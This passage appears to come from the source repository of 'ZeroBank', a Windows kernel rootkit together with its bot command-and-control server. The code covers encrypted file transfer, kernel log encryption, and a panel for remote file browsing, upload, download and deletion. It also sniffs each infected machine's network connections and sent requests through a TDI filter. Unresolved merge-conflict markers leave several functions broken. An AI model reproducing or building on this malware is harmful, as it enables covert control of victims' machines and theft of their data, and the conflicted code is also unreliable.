201 | if (!NT_SUCCESS(st)) 202 | return STATUS_UNSUCCESSFUL; 203 | 204 | 205 | #ifndef _WIN64 206 | ObpCloseHandle(handle, KernelMode); 207 | #else 208 | ZwClose(handle); 209 | #endif 210 | 211 | Hash->_RtlFreeUnicodeString(&ustr1); 212 | Hash->_ExFreePoolWithTag(storefile,0); 213 | Hash->_ExFreePoolWithTag(Buffer,0); 214 | 215 | return st; 216 | } -------------------------------------------------------------------------------- /ZeroBank!kit/transfer.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | NTSTATUS rk_send_file_to_userspace(IN PCHAR FileName, IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash); 4 | 5 | NTSTATUS rk_store_file_from_userspace(IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash); 6 | 7 | 8 | typedef struct _ROOTKIT_STORE_USERSPACE_FILE 9 | { 10 | CHAR FileName[255]; 11 | ULONG FileSize; 12 | 13 | }ROOTKIT_STORE_USERSPACE_FILE, *PROOTKIT_STORE_USERSPACE_FILE; -------------------------------------------------------------------------------- /ZeroBank!kit/utils.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | void *kimemcpy(void *dst, void *src, unsigned int size) 4 | { 5 | unsigned char *buf = (unsigned char*)dst; 6 | unsigned char *__src = (unsigned char*)src; 7 | while (size--) 8 | { 9 | *buf++ = *__src++; 10 | } 11 | 12 | return dst; 13 | } 14 | 15 | char *kistrcpy(char *dest, const char *src) 16 | { 17 | char *p; 18 | 19 | if ((dest == 0) || (src == 0)) 20 | return dest; 21 | 22 | if (dest == src) 23 | return dest; 24 | 25 | p = dest; 26 | while (*src != 0) { 27 | *p = *src; 28 | p++; 29 | src++; 30 | } 31 | 32 | *p = 0; 33 | return dest; 34 | } 35 | 36 | char *kistrcat(char *dest, const char *src) 37 | { 38 | if ((dest == 0) || (src == 0)) 39 | return dest; 40 | 41 | while (*dest != 0) 42 | dest++; 43 | 44 | while (*src != 0) { 45 | *dest = *src; 46 | dest++; 47 | src++; 48 | } 49 | 50 | *dest = 0; 51 | return dest; 52 | } 53 | 54 | size_t kistrlen(const char *s) 55 | { 56 | char *s0 = (char *)s; 57 | 58 | if (s == 0) 59 | return 0; 60 | 61 | while (*s != 0) 62 | s++; 63 | 64 | return (s - s0); 65 | } 66 | 67 | size_t kistrlenW(const wchar_t *s) 68 | { 69 | wchar_t *s0 = (wchar_t*)s; 70 | 71 | if (s == 0) 72 | return 0; 73 | 74 | while (*s != 0) 75 | s++; 76 | 77 | return (s - s0); 78 | } 79 | 80 | wchar_t __stdcall _RtlUpcaseUnicodeChar(IN wchar_t Source) 81 | { 82 | unsigned short Offset; 83 | 84 | if (Source < 'a') 85 | return Source; 86 | if (Source <= 'z') 87 | return (Source - ('a' - 'A')); 88 | 89 | Offset = 0; 90 | 91 | return Source + (SHORT)Offset; 92 | } 93 | 94 | long __stdcall CompareUnicodeString(IN PCUNICODE_STRING String1, IN PCUNICODE_STRING String2, IN BOOLEAN CaseInSensitive) 95 | { 96 | unsigned short i; 97 | wchar_t c1, c2; 98 | 99 | for (i = 0; i <= String1->Length / sizeof(WCHAR) && i <= String2->Length / sizeof(WCHAR); i++) 100 | { 101 | if (CaseInSensitive) 102 | { 103 | c1 = _RtlUpcaseUnicodeChar(String1->Buffer[i]); 104 | c2 = _RtlUpcaseUnicodeChar(String2->Buffer[i]); 105 | } 106 | else 107 | { 108 | c1 = String1->Buffer[i]; 109 | c2 = String2->Buffer[i]; 110 | } 111 | if (c1 < c2) 112 | return -1; 113 | else if (c1 > c2) 114 | return 1; 115 | 116 | } 117 | 118 | return 0; 119 | } 120 | 121 | void __stdcall _InitUnicodeString(PUNICODE_STRING String, PWCHAR Source) 122 | { 123 | SIZE_T destsize = 0; 124 | 125 | if (Source) 126 | { 127 | destsize = kistrlenW(Source)*sizeof(WCHAR); 128 | String->Length = (USHORT)destsize; 129 | String->MaximumLength = (USHORT)destsize + sizeof(WCHAR); 130 | } 131 | else 132 | { 133 | String->Length = 0; 134 | String->MaximumLength = 0; 135 | } 136 | 137 | String->Buffer = (PWCHAR)Source; 138 | } 139 | 140 | BOOLEAN KiIsMdlAdddressValid(IN PMDL Mdl, IN PROOTKIT_API_HASH Hash) 141 | { 142 | BOOLEAN g_cond; 143 | 144 | if (Hash->_MmIsAddressValid(Mdl) && Mdl->ByteCount > 0 && Mdl->MappedSystemVa != NULL && Mdl->Size > 0) 145 | g_cond = TRUE; 146 | else 147 | g_cond = FALSE; 148 | 149 | return g_cond; 150 | 151 | } 152 | 153 | VOID KiInitializeKernelModeThread(IN PHANDLE ThreadHandle, IN PROOTKIT_API_HASH Hash, IN PKSTART_ROUTINE Routine, IN PVOID Context OPTIONAL) 154 | { 155 | NTSTATUS st; 156 | st = Hash->_PsCreateSystemThread(ThreadHandle, THREAD_ALL_ACCESS, NULL, 0, NULL, Routine, Context); 157 | } 158 | 159 | void LogFilterData(IN const char *szFormat, ...) 160 | { 161 | NTSTATUS st; 162 | UNICODE_STRING ustr1 = { 0 }; 163 | ANSI_STRING ansi = { 0 }; 164 | OBJECT_ATTRIBUTES oa = { 0 }; 165 | IO_STATUS_BLOCK io = { 0 }; 166 | HANDLE handle; 167 | ULONG length = 0; 168 | CHAR buffer[1024] = { 0 }; 169 | va_list va; 170 | BOOLEAN g_cond = FALSE; 171 | WCHAR wzBuffer[255] = { 0 }; 172 | UNICODE_STRING uni = { 0 }; 173 | 174 | va_start(va, szFormat); 175 | _vsnprintf(buffer, sizeof(buffer) / sizeof(char), szFormat, va); 176 | va_end(va); 177 | 178 | /*g_Hash._RtlInitAnsiString(&ansi, g_idpath); 179 | g_Hash._RtlAnsiStringToUnicodeString(&uni, &ansi, TRUE); 180 | 181 | wcscpy_s(wzBuffer, 255, L"\\??\\C:\\Windows\\"); 182 | wcscat_s(wzBuffer, 255, uni.Buffer); 183 | wcscat_s(wzBuffer, 255, L"\\U\\zb-bot-logs.txt"); 184 | 185 | g_Hash._RtlInitUnicodeString(&ustr1,wzBuffer);*/ 186 | g_Hash._RtlInitUnicodeString(&ustr1, L"\\??\\C:\\Users\\alex\\Desktop\\Log.txt"); 187 | 188 | InitializeObjectAttributes(&oa, &ustr1, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); 189 | 190 | st = MyIopCreateFile(&handle, FILE_APPEND_DATA, &oa, &io, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE | FILE_SHARE_READ, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL,0,CreateFileTypeNone, 191 | NULL,IO_NO_PARAMETER_CHECKING,0,NULL); 192 | if (!NT_SUCCESS(st)) 193 | return; 194 | 195 | length = kistrlen(buffer); 196 | 197 | KeEnterCriticalRegion(); 198 | ExAcquireResourceExclusiveLite(&g_globalresource, TRUE); 199 | 200 | st = ZwWriteFile(handle, NULL, NULL, NULL, &io, (PVOID)buffer, length, NULL, 0); 201 | if (!NT_SUCCESS(st)) 202 | return; 203 | 204 | ExReleaseResourceLite(&g_globalresource); 205 | KeLeaveCriticalRegion(); 206 | 207 | 208 | #ifndef _WIN64 209 | if (handle != NULL) 210 | ObpCloseHandle(handle,KernelMode); 211 | #else 212 | ZwClose(handle); 213 | #endif 214 | 215 | g_Hash._RtlFreeUnicodeString(&uni); 216 | } 217 | 218 | <<<<<<< HEAD 219 | PUCHAR CompressZeroBankFile(IN PUCHAR Buffer, IN SIZE_T SizeOfBuffer, IN INT KeyType, OUT PULONG FinalCompressedSize, IN PROOTKIT_API_HASH Hash) 220 | ======= 221 | PUCHAR CompressZeroBankFile(IN PUCHAR Buffer, IN SIZE_T SizeOfBuffer,OUT PULONG FinalCompressedSize, IN PROOTKIT_API_HASH Hash) 222 | >>>>>>> adding files 223 | { 224 | SIZE_T size = 16 * SizeOfBuffer; 225 | PUCHAR Alloc = NULL; 226 | PUCHAR container = NULL; 227 | PUCHAR Out = NULL; 228 | NTSTATUS st; 229 | ULONG size1 = 0, size2 = 0; 230 | 231 | st = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM, &size1, &size2); 232 | if (NT_SUCCESS(st)) 233 | { 234 | container = (UCHAR*)Hash->_ExAllocatePool(NonPagedPool, size); 235 | Alloc = (UCHAR*)Hash->_ExAllocatePool(NonPagedPool, size1); 236 | if (container != NULL && Alloc != NULL && Hash->_MmIsAddressValid(container) && Hash->_MmIsAddressValid(Alloc)) 237 | { 238 | st = RtlCompressBuffer(COMPRESSION_ENGINE_MAXIMUM | COMPRESSION_FORMAT_LZNT1, Buffer, SizeOfBuffer, container, size, 0x1000, FinalCompressedSize, Alloc); 239 | if (NT_SUCCESS(st)) 240 | { 241 | 242 | Out = container; 243 | 244 | } 245 | } 246 | } 247 | 248 | Hash->_ExFreePoolWithTag(Alloc,0); 249 | 250 | return Out; 251 | } 252 | 253 | VOID ZeroBankCryptorWorkRoutine(PVOID Context) 254 | { 255 | PZERBANK_CRYPTOR_WORKER cw = (PZERBANK_CRYPTOR_WORKER)Context; 256 | 257 | HANDLE handle, whandle; 258 | OBJECT_ATTRIBUTES oa, woa; 259 | UNICODE_STRING ustr1, wustr1; 260 | LARGE_INTEGER large, wlarge; 261 | IO_STATUS_BLOCK io, wio; 262 | NTSTATUS st; 263 | ANSI_STRING ansi; 264 | FILE_STANDARD_INFORMATION fileinfo = { 0 }; 265 | WCHAR Buffer[255] = { 0 }; 266 | PUCHAR mem = NULL; 267 | PUCHAR EncryptedDataBuffer = NULL; 268 | PUCHAR Alloc = NULL; 269 | ULONG FinalSize = 0; 270 | rc4_ctx ctx = { 0 }; 271 | 272 | /*RtlInitAnsiString(&ansi, g_idpath); 273 | RtlAnsiStringToUnicodeString(&ustr1, &ansi, TRUE); 274 | wcscpy_s(Buffer, 255, L"\\??\\C:\\Windows\\"); 275 | wcscat_s(Buffer, 255, ustr1.Buffer); 276 | wcscat_s(Buffer, 255, L"\\U\\zb-bot-logs.txt"); 277 | 278 | RtlInitUnicodeString(&ustr1, Buffer);*/ 279 | 280 | RtlInitUnicodeString(&ustr1, L"\\??\\C:\\Users\\alex\\Desktop\\Log.txt"); 281 | InitializeObjectAttributes(&oa, &ustr1, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); 282 | st = MyIopCreateFile(&handle, FILE_GENERIC_READ, &oa, &io, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN, 283 | FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0, CreateFileTypeNone, NULL, IO_NO_PARAMETER_CHECKING, 0, NULL); 284 | if (NT_SUCCESS(st)) 285 | { 286 | st = IopQueryFileInformation(handle, &fileinfo, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation); 287 | if (NT_SUCCESS(st)) 288 | { 289 | mem = (PUCHAR)cw->Hash->_ExAllocatePool(NonPagedPool, (SIZE_T)fileinfo.EndOfFile.QuadPart); 290 | if (mem) 291 | { 292 | st = IopReadFile(handle, &io, mem, (ULONG)fileinfo.EndOfFile.QuadPart, NULL); 293 | if (NT_SUCCESS(st)) 294 | { 295 | #ifndef _WIN64 296 | ObpCloseHandle(handle, KernelMode); 297 | #else 298 | ZwClose(handle); 299 | #endif 300 | 301 | <<<<<<< HEAD 302 | Alloc = CompressZeroBankFile(mem, (SIZE_T)fileinfo.EndOfFile.QuadPart, RC4_KEY_3, &FinalSize, cw->Hash); 303 | ======= 304 | Alloc = CompressZeroBankFile(mem, (SIZE_T)fileinfo.EndOfFile.QuadPart,&FinalSize, cw->Hash); 305 | >>>>>>> adding files 306 | if (Alloc != NULL) 307 | { 308 | EncryptedDataBuffer = (PUCHAR)cw->Hash->_ExAllocatePool(NonPagedPool, (SIZE_T)fileinfo.EndOfFile.QuadPart); 309 | if (EncryptedDataBuffer == NULL) 310 | return; 311 | 312 | rc4_init(&ctx, key3, sizeof(key3)); 313 | rc4_encrypt(&ctx, (const uint8*)Alloc, (uint8*)EncryptedDataBuffer, FinalSize); 314 | 315 | RtlInitUnicodeString(&wustr1, L"\\??\\C:\\Users\\alex\\Desktop\\0000008.txt"); 316 | InitializeObjectAttributes(&woa, &wustr1, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); 317 | 318 | <<<<<<< HEAD 319 | st = MyIopCreateFile(&whandle, FILE_APPEND_DATA, &woa, &wio,NULL,FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE |FILE_SHARE_READ, 320 | ======= 321 | st = MyIopCreateFile(&whandle, FILE_APPEND_DATA, &woa, &wio,NULL,FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE | FILE_SHARE_READ, 322 | >>>>>>> adding files 323 | FILE_OPEN_IF, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0, CreateFileTypeNone, NULL, 324 | IO_NO_PARAMETER_CHECKING, 0, NULL); 325 | if (NT_SUCCESS(st)) 326 | { 327 | 328 | KeEnterCriticalRegion(); 329 | ExAcquireResourceExclusiveLite(&g_globalresource, TRUE); 330 | 331 | <<<<<<< HEAD 332 | st = ZwWriteFile(whandle, NULL, NULL, NULL, &wio, EncryptedDataBuffer, FinalSize, NULL, 0); 333 | ======= 334 | st = IopWriteFile(whandle, FILE_APPEND_DATA, &wio, EncryptedDataBuffer, FinalSize, NULL); 335 | //st = ZwWriteFile(whandle, NULL, NULL, NULL, &wio, EncryptedDataBuffer, FinalSize, NULL, 0); 336 | >>>>>>> adding files 337 | if (NT_SUCCESS(st)) 338 | { 339 | #ifndef _WIN64 340 | ObpCloseHandle(whandle, KernelMode); 341 | #else 342 | ZwClose(whandle); 343 | #endif 344 | cw->StopWorkerThread = TRUE; 345 | } 346 | 347 | ExReleaseResourceLite(&g_globalresource); 348 | KeLeaveCriticalRegion(); 349 | } 350 | //cw->Hash->_ExFreePoolWithTag(Alloc, 0); 351 | //Alloc = NULL; 352 | } 353 | } 354 | cw->Hash->_ExFreePoolWithTag(mem, 0); 355 | mem = NULL; 356 | } 357 | } 358 | } 359 | 360 | 361 | if(cw->StopWorkerThread == TRUE) 362 | cw->Hash->_PsTerminateSystemThread(STATUS_SUCCESS); 363 | 364 | } 365 | -------------------------------------------------------------------------------- /ZeroBank!kit/utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef struct _ZEROBANK_CRYPTOR_WORKER 4 | { 5 | HANDLE WorkerThreadHandle; 6 | PROOTKIT_API_HASH Hash; 7 | PETHREAD pThread; 8 | BOOLEAN StopWorkerThread; 9 | KEVENT WorkerThreadEvent; 10 | 11 | }ZEROBANK_CRYPTOR_WORKER, *PZERBANK_CRYPTOR_WORKER; 12 | 13 | void *kimemcpy(void *dst, void *src, unsigned int size); 14 | char *kistrcpy(char *dest, const char *src); 15 | char *kistrcat(char *dest, const char *src); 16 | size_t kistrlen(const char *s); 17 | size_t kistrlenW(const wchar_t *s); 18 | wchar_t __stdcall _RtlUpcaseUnicodeChar(IN wchar_t Source); 19 | long __stdcall CompareUnicodeString(IN PCUNICODE_STRING String1, IN PCUNICODE_STRING String2, IN BOOLEAN CaseInSensitive); 20 | void __stdcall _InitUnicodeString(PUNICODE_STRING String, PWCHAR Source); 21 | BOOLEAN KiIsMdlAdddressValid(IN PMDL Mdl, IN PROOTKIT_API_HASH Hash); 22 | VOID KiInitializeKernelModeThread(IN PHANDLE ThreadHandle, IN PROOTKIT_API_HASH Hash, IN PKSTART_ROUTINE Routine, IN PVOID Context OPTIONAL); 23 | void LogFilterData(IN const char *szFormat, ...); 24 | 25 | <<<<<<< HEAD 26 | PUCHAR CompressZeroBankFile(IN PUCHAR Buffer, IN SIZE_T SizeOfBuffer, IN INT KeyType, OUT PULONG FinalCompressedSize, IN PROOTKIT_API_HASH Hash); 27 | ======= 28 | PUCHAR CompressZeroBankFile(IN PUCHAR Buffer, IN SIZE_T SizeOfBuffer,OUT PULONG FinalCompressedSize, IN PROOTKIT_API_HASH Hash); 29 | >>>>>>> adding files 30 | VOID ZeroBankCryptorWorkRoutine(PVOID Context); 31 | -------------------------------------------------------------------------------- /ZeroBank!server/ZeroBank.c: -------------------------------------------------------------------------------- 1 | #include "server_globals.h" 2 | 3 | static SOCKET socket_array[100]; 4 | static int counter; 5 | RTL_CRITICAL_SECTION g_sec = { 0 }; 6 | 7 | DWORD WINAPI ClientThread(LPVOID lParam) 8 | { 9 | SOCKET sock = (SOCKET)lParam; 10 | PZEROBANK_BOT_HEADER rootkit_header = NULL, Entry = NULL; 11 | PVOID Out = NULL; 12 | 13 | RtlEnterCriticalSection(&g_sec); 14 | 15 | printf("\r\n[^*^] New ZeroBank bot connected"); 16 | 17 | Out = recv_decrypted(sock, RC4_KEY_1, (PZEROBANK_BOT_HEADER)Entry, sizeof(ZEROBANK_BOT_HEADER)); 18 | if (Out != NULL) 19 | { 20 | rootkit_header = (PZEROBANK_BOT_HEADER)Out; 21 | if (rootkit_header) 22 | { 23 | 24 | printf("\r\n\nOs: %s | Win: %u.%u | Build: %u | Sys: %s | ID: %s | Server: %s | LocaleId: %s | LanguageId: %s", 25 | rootkit_header->Os, 26 | rootkit_header->majorver, 27 | rootkit_header->minorver, 28 | rootkit_header->Build, 29 | rootkit_header->Arch, 30 | rootkit_header->BotId, 31 | rootkit_header->IsNtServer ? "Yes" : "No", 32 | rootkit_header->Locale, 33 | rootkit_header->lang); 34 | } 35 | } 36 | 37 | RtlFreeHeap(GetProcessHeap(), 0, Out); 38 | Out = NULL; 39 | 40 | RtlLeaveCriticalSection(&g_sec); 41 | 42 | /// start command exchange with rootkit 43 | 44 | rootkit_cmd(sock); 45 | } 46 | 47 | DWORD WINAPI ServerThread(USHORT Port, PCHAR Ip) 48 | { 49 | SOCKET sock, acceptsock; 50 | SOCKADDR_IN sai; 51 | SOCKADDR_IN acceptsai; 52 | WSADATA wsa; 53 | INT Size; 54 | 55 | if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) 56 | return WSASYSNOTREADY; 57 | 58 | 59 | sai.sin_addr.s_addr = inet_addr(Ip); 60 | sai.sin_family = AF_INET; 61 | sai.sin_port = htons(Port); 62 | 63 | sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 64 | if (sock == INVALID_SOCKET) 65 | return 1; 66 | 67 | bind(sock, (SOCKADDR*)&sai, sizeof(sai)); 68 | listen(sock, 100); 69 | Size = sizeof(acceptsai); 70 | 71 | printf("\r\n[^*^] ZeroBank server listening incoming connections..."); 72 | 73 | while (1) 74 | { 75 | acceptsock = accept(sock, (SOCKADDR*)&acceptsai, &Size); 76 | CreateThread(NULL, 0, ClientThread, (LPVOID)acceptsock, 0, NULL); 77 | socket_array[counter] = acceptsock; 78 | counter++; 79 | } 80 | closesocket(sock); 81 | WSACleanup(); 82 | return EXIT_SUCCESS; 83 | } 84 | 85 | 86 | INT main(INT argc, PCHAR Argv[]) 87 | { 88 | 89 | RtlInitializeCriticalSection(&g_sec); 90 | 91 | HANDLE std = GetStdHandle(STD_OUTPUT_HANDLE); 92 | if (std == INVALID_HANDLE_VALUE) 93 | return 1; 94 | 95 | COORD coord; 96 | coord.X = 300; 97 | coord.Y = 800; 98 | 99 | SetConsoleScreenBufferSize(std, coord); 100 | SetConsoleTitle(TEXT("ZeroBank (ring0 kit bundle)")); 101 | 102 | ServerThread(443, "192.168.1.36"); 103 | } -------------------------------------------------------------------------------- /ZeroBank!server/server_cmd.c: -------------------------------------------------------------------------------- 1 | #include "server_globals.h" 2 | 3 | VOID rootkit_cmd(IN SOCKET sock) 4 | { 5 | char cmd[255] = { 0 }; 6 | 7 | while (1) 8 | { 9 | printf("\r\n\n\n{ PANEL }-> "); 10 | scanf("%s", cmd); 11 | if (!strcmp(cmd, "-h")) 12 | { 13 | printf("\r\n[-ps] View remote bot EPROCESS structure"); 14 | printf("\r\n[-th] View remote bot ETHREAD structure"); 15 | printf("\r\n[-ex] Remote File Explorer"); 16 | printf("\r\n[-lm] View Bot loaded modules"); 17 | printf("\r\n[-if] Bot System Information"); 18 | printf("\r\n[-uk] Upload file"); 19 | printf("\r\n[-ku] Download file"); 20 | printf("\r\n[-sf] Start TDI Filter"); 21 | printf("\r\n[-st] Stop TDI Filter"); 22 | printf("\r\n[-bc] Get Bot TDI_CONNECT filter requests (Dumps bot history of connected sites)"); 23 | printf("\r\n[-sq] Get Bot TDI_SEND filter requests (Dumps bot history of sending requests)"); 24 | printf("\r\n[-ki] Kernel Mode injection"); 25 | printf("\r\n[-ld] Load driver"); 26 | printf("\r\n[-fd] Delete file"); 27 | printf("\r\n[-dc] Disconnect from rootkit"); 28 | 29 | } 30 | else if (!strcmp(cmd, "-ps")) 31 | { 32 | rootkit_get_processes(sock, ZB_EPROCESS); 33 | } 34 | else if (!strcmp(cmd, "-th")) 35 | { 36 | rootkit_get_process_ethread(sock, ZB_ETHREAD); 37 | } 38 | else if (!strcmp(cmd, "-ex")) 39 | { 40 | rootkit_get_kernel_fileexplorer(sock, ZB_FILE_EXPLORER); 41 | } 42 | else if (!strcmp(cmd, "-lm")) 43 | { 44 | rootkit_get_modules(sock, ZB_MODULES); 45 | } 46 | else if (!strcmp(cmd, "-if")) 47 | { 48 | rootkit_get_sys_information(sock, ZB_INTERNAL_SYSTEM_INFORMATION); 49 | } 50 | else if (!strcmp(cmd, "-uk")) 51 | { 52 | rootkit_send_file_to_kernel(sock, ZB_USER_TO_KERNEL_TRANSFER); 53 | } 54 | else if (!strcmp(cmd, "-ku")) 55 | { 56 | rootkit_get_file_from_kernel(sock, ZB_KERNEL_TO_USER_TRANSFER); 57 | } 58 | else if (!strcmp(cmd, "-sf")) 59 | { 60 | rootkit_start_TDI_filter(sock, ZB_START_TDI_FILTER); 61 | } 62 | else if (!strcmp(cmd, "-st")) 63 | { 64 | rootkit_stop_TDI_filter(sock, ZB_STOP_TDI_FILTER); 65 | } 66 | else if (!strcmp(cmd, "-ki")) 67 | { 68 | return STATUS_NOT_IMPLEMENTED; 69 | } 70 | else if (!strcmp(cmd, "-ld")) 71 | { 72 | return STATUS_NOT_IMPLEMENTED; 73 | } 74 | else if (!strcmp(cmd, "-fd")) 75 | { 76 | rootkit_delete_file(sock, ZB_DELETE_FILE); 77 | } 78 | else if (!strcmp(cmd, "-dc")) 79 | { 80 | rootkit_disconnect_from_driver(sock, ZB_DISCONNECT); 81 | goto endconn; 82 | } 83 | else if (!strcmp(cmd, "-bc")) 84 | { 85 | rootkit_get_bot_connections(sock, ZB_GET_BOT_CONNECTIONS); 86 | } 87 | else if (!strcmp(cmd, "-sq")) 88 | { 89 | rootkit_get_send_requests(sock, ZB_GET_BOT_SEND_REQUESTS); 90 | } 91 | else if (!strcmp(cmd, "-cls")) 92 | { 93 | system("cls"); 94 | } 95 | 96 | } 97 | 98 | endconn: 99 | closesocket(sock); 100 | WSACleanup(); 101 | TerminateProcess(GetCurrentProcess(), 1); 102 | } -------------------------------------------------------------------------------- /ZeroBank!server/server_cmd.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | VOID rootkit_cmd(IN SOCKET sock); -------------------------------------------------------------------------------- /ZeroBank!server/server_connections.c: -------------------------------------------------------------------------------- 1 | #include "server_globals.h" 2 | 3 | BOOLEAN rootkit_get_bot_connections(IN SOCKET sock, IN BYTE PacketType) 4 | { 5 | INT sendsize = 0; 6 | INT recvsize = 0; 7 | ZEROBANK_PACKET_TYPE Packet = { 0 }; 8 | PZEROBANK_FILTER_CONNECTION_REQUESTS buffer = NULL; 9 | PZEROBANK_FILTER_CONNECTION_REQUESTS entrybuffer = NULL; 10 | BOOL g_cond = FALSE; 11 | PVOID Out = NULL; 12 | PVOID Alloc = NULL; 13 | ULONG getsize = 0; 14 | ULONG NumberOfConnections = 0; 15 | 16 | 17 | char *time = "Time-Stamp"; 18 | char *infobuffer = "Bot connection sites"; 19 | 20 | Packet.PacketType = PacketType; 21 | 22 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&Packet, sizeof(ZEROBANK_PACKET_TYPE)); 23 | if (sendsize > 0) 24 | { 25 | recvsize = recv(sock, (PCHAR)&getsize, sizeof(ULONG), 0); 26 | if (recvsize > 0 && getsize > 0) 27 | { 28 | Out = recv_decrypted(sock, RC4_KEY_2, (PZEROBANK_FILTER_CONNECTION_REQUESTS)buffer, getsize); 29 | if (Out) 30 | { 31 | NumberOfConnections = getsize / sizeof(ZEROBANK_FILTER_CONNECTION_REQUESTS); 32 | 33 | entrybuffer = (PZEROBANK_FILTER_CONNECTION_REQUESTS)Out; 34 | 35 | printf("\r\n"); 36 | printf("\r\n%15s %30s", time, infobuffer); 37 | printf("\r\n"); 38 | 39 | for (ULONG i = 0; i < NumberOfConnections; i++, entrybuffer++) 40 | { 41 | printf("%s", entrybuffer->ShareData); 42 | g_cond = TRUE; 43 | } 44 | RtlFreeHeap(GetProcessHeap(), 0, Out); 45 | Out = NULL; 46 | } 47 | } 48 | } 49 | 50 | return g_cond; 51 | } 52 | -------------------------------------------------------------------------------- /ZeroBank!server/server_connections.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | 5 | typedef UCHAR KIRQL; 6 | 7 | typedef struct _ZEROBANK_FILTER_CONNECTION_REQUESTS 8 | { 9 | LIST_ENTRY Entry; 10 | CHAR ShareData[255]; 11 | }ZEROBANK_FILTER_CONNECTION_REQUESTS, *PZEROBANK_FILTER_CONNECTION_REQUESTS; 12 | 13 | typedef struct _ZEROBANK_FILTER_HEAD 14 | { 15 | LIST_ENTRY Entry; 16 | KSPIN_LOCK Lock; 17 | KIRQL OldIrql; 18 | ULONG NumberOfConnections; 19 | }ZEROBANK_FILTER_HEAD, *PZEROBANK_FILTER_HEAD; 20 | 21 | BOOLEAN rootkit_get_bot_connections(IN SOCKET sock, IN BYTE PacketType); 22 | -------------------------------------------------------------------------------- /ZeroBank!server/server_disconnect.c: -------------------------------------------------------------------------------- 1 | #include "server_globals.h" 2 | 3 | BOOL rootkit_disconnect_from_driver(IN SOCKET sock, IN BYTE PacketType) 4 | { 5 | ZEROBANK_PACKET_TYPE Type = { 0 }; 6 | BOOL ret; 7 | int sendsize = 0; 8 | int getbytes = 0; 9 | 10 | Type.PacketType = PacketType; 11 | 12 | sendsize = send_packet_encrypted(sock, 2, (PZEROBANK_PACKET_TYPE)&Type, sizeof(ZEROBANK_PACKET_TYPE)); 13 | 14 | if (sendsize > 0 && Type.PacketType != NULL) 15 | { 16 | printf("\r\n[+] __disconnect__ plugin send correctly"); 17 | ret = TRUE; 18 | } 19 | else 20 | { 21 | printf("\r\n[!] __disconnect__ plugin error: %d",RtlGetLastWin32Error()); 22 | ret = FALSE; 23 | } 24 | 25 | return ret; 26 | } -------------------------------------------------------------------------------- /ZeroBank!server/server_disconnect.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | BOOL rootkit_disconnect_from_driver(IN SOCKET sock, IN BYTE PacketType); -------------------------------------------------------------------------------- /ZeroBank!server/server_file.c: -------------------------------------------------------------------------------- 1 | #include "server_globals.h" 2 | 3 | BOOLEAN rootkit_get_kernel_fileexplorer(IN SOCKET sock, IN BYTE PacketType) 4 | { 5 | INT sendsize = 0; 6 | INT amount = 0; 7 | INT offset = 0; 8 | INT recvsize = 0; 9 | ULONG getbytes = 0; 10 | ZEROBANK_PACKET_TYPE type = { 0 }; 11 | PROOTKIT_FILEEXPLORER_ENTRY Entry = NULL, Buffer = NULL; 12 | PVOID Out = NULL; 13 | ULONG NumberOfElements = 0; 14 | BOOL ret = FALSE; 15 | 16 | char *ctime = "CreateTime"; 17 | char *wtime = "WriteTime"; 18 | char *file = "File"; 19 | 20 | type.PacketType = PacketType; 21 | 22 | printf("\r\n{ KERNEL-FILE-EXPLORER-PLUGIN }-> "); 23 | scanf("%s", type.FileName_For_FileExplorer_plugin); 24 | 25 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&type, sizeof(ZEROBANK_PACKET_TYPE)); 26 | if (sendsize > 0) 27 | { 28 | recvsize = recv(sock, (char*)&getbytes, sizeof(ULONG), 0); 29 | if (recvsize > 0 && getbytes > 0) 30 | { 31 | Out = recv_decrypted(sock, RC4_KEY_2, (PROOTKIT_FILEEXPLORER_ENTRY)Buffer, getbytes); 32 | if (Out != NULL) 33 | { 34 | Entry = (PROOTKIT_FILEEXPLORER_ENTRY)Out; 35 | if (Entry) 36 | { 37 | printf("\r\n"); 38 | printf("\r\n%s %25s %40s", ctime, wtime, file); 39 | printf("\r\n"); 40 | 41 | NumberOfElements = getbytes / sizeof(ROOTKIT_FILEEXPLORER_ENTRY); 42 | 43 | for (ULONG i = 0; i < NumberOfElements; i++, Entry++) 44 | { 45 | printf("\r\n%s %25s %40S", Entry->CreateTime, Entry->WriteTime, Entry->FileName); 46 | 47 | ret = TRUE; 48 | } 49 | } 50 | 51 | RtlFreeHeap(GetProcessHeap(), 0, Out); 52 | Out = NULL; 53 | 54 | } 55 | } 56 | else 57 | { 58 | printf("\r\n[!] Error receiving allocation bytes: %d", RtlGetLastWin32Error()); 59 | ret = FALSE; 60 | } 61 | } 62 | 63 | else 64 | { 65 | printf("\r\n[!] Error sending packet type: %d", RtlGetLastWin32Error()); 66 | ret = FALSE; 67 | } 68 | 69 | return ret; 70 | } 71 | 72 | BOOLEAN rootkit_delete_file(IN SOCKET Socket, IN BYTE PacketType) 73 | { 74 | ZEROBANK_PACKET_TYPE type = { 0 }; 75 | INT sendsize = 0; 76 | INT recvsize = 0; 77 